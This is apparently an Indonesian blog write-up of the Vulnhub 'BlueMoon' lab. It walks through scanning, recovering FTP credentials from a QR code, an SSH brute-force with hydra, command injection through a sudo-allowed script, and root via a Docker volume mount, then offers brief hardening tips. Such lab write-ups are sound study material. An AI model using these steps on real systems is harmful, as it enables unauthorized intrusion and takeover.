Pengikut

Rabu, 29 Januari 2025

Vulnlab (1) -- Vulnhub@BlueMoon (WriteUp)


Disclaimer: Praktik ini dilakukan pada target yang sudah diizinkan untuk diretas seperti vulnlab atau laboratorium/virtual machine yang berasal dari Vulnhub. Bertujuan untuk edukasi semata.
---------------------------------------------------
Kalau mau ke Vulnhub page-nya: KESINI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kalau mau langsung download: KESINI
---------------------------------------------------

1. Scanning & Enumeration


Kita pakai nmap dengan -sC (script scanning) dan -p- (semua port) untuk permulaan
nmap -sC -p- 192.168.1.11 -T5

Output:


Ok, ternyata port 21 (ftp), 22 (ssh) dan 80 (http/web) terbuka cuy. Coba kita lihat webnya dengan buka chrome lalu search "http://(IP nya)"

Page:

Saya sudah cek source code nya dan tidak menunjukkan apa-apa, yaudah deh saya pakai dirsearch buat direktori enumeration. Saya pakai wordlists dari Seclists medium web, kalau mau lihat bisa KESINI.


dirsearch -u http://192.168.1.11 -w ~/medium_web_list.txt

Execute:

Nah ada direktori hidden_text tuh, coba kita buka.

Page:


Bentar kok kata "Thank You" nya seperti link gitu. Pas dipencet ternyata adalah link yang mengarah ke file gambar yang mirip dengan QR Code.

2. Analisis gambar/Steganografi


File/Image:


Saya pakai QR code scanner online aja biar cepet.

Output:


3. Akses Shell (1).


Ok, logikanya kalau kita bisa login FTP ke sistem yang berbasis Linux. Ada kemungkinan Kredensial login kita bisa digunakan pada SSH + kita pakai python -c untuk menggunakan pty buat mengubah shell kita agar nanti kalau mau apa bisa enak, pakai /bin/bash aja biar lebih stabil.

ssh userftp@(IP nya)
password: ftpp@ssword
python -c 'import pty; pty.spawn("/bin/bash")'

btw, pas saya lihat lebih dalam lagi. Ada direktori "files" yang berisi dua file yaitu information.txt dan p_lists.txt. Coba kita lihat information.txt nya.

Output:


Ada pesan bahwa user dengan nama "robin" disuruh untuk memilih antara password disuatu list yang dimana, adalah file bernama "p_lists.txt". Kita copy paste isi filenya lalu taruh di file kita lalu langsung brute force user "robin" pakai hydra.

hydra -l robin -P p_lists.txt ssh://(IP nya) -t 4

Output:


Kita keluar dari userftp dan langsung ssh ke user robin-nya pakai "ssh robin@(IP-nya)".

4. Akses Shell (2).



Ok, ada 2 file lagi nih. "user1.txt" yang merupakan flag pertama kita. Dan feedback.sh. Bentar coba kita otak-atik dengan "sudo -l" untuk sedikit melihat config sudo antar user-nya.


Hmm? kita bisa menggunakan user "jerry" untuk mengeksekusi "feedback.sh" dan file tersebut ternyata 
vuln dari kata "$feedback 2>/dev/null" coy. Yang artinya bisa kita gunakan untuk mengeksekusi suatu command dengan atas nama user "jerry"

sudo -u jerry ./feedback.sh 
Name: apaaja
feedback: /bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

Execute:


Sip kita sudah dapat flag yang ke 2.

5. Root access/akses root

Coba kita pakai command "id" untuk sedikit melihat informasi akan user yang kita gunakan saat ini.


Hmm? docker? coba kita pakai payload privilege escalation with docker untuk mendapat root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# penjelasan:
docker run --> buat jalanin kontainer baru.
-v /:/mnt --> buat memasang direktori host dari '/'yang merupakan root ke '/mnt' pada kontainer.
--rm --> otomatis menghapus kontainer setelah selesai.
-it --> perpaduan antara terminal, shell interaktif.
alpine --> nama gambar docker untuk container.
chroot /mnt sh --> mengubah direktori root ke /mnt dan memulai shell.
Execute:


6. Penutup praktik

Nah udah deh, disini kita bisa melakukan apa aja. Deface atau segala macem.

Sebelum: 


Sesudah:


7. Kesimpulan

walau ini vulnlab yang dimana semua kerentanan ada yang disengaja, kita bisa mengambil kesimpulan bahwa untuk meningkatkan keamanan agar tidak terjadi seperti ini bisa dengan cara:

1. Usahakan jangan buat file password list biar gak di crack, kirim langsung aja ke orangnya.
2.  Pastikan pengaturan user-nya aman 
3. Jangan pakai ftp karena lebih mudah dibaca (plain text).

Sekian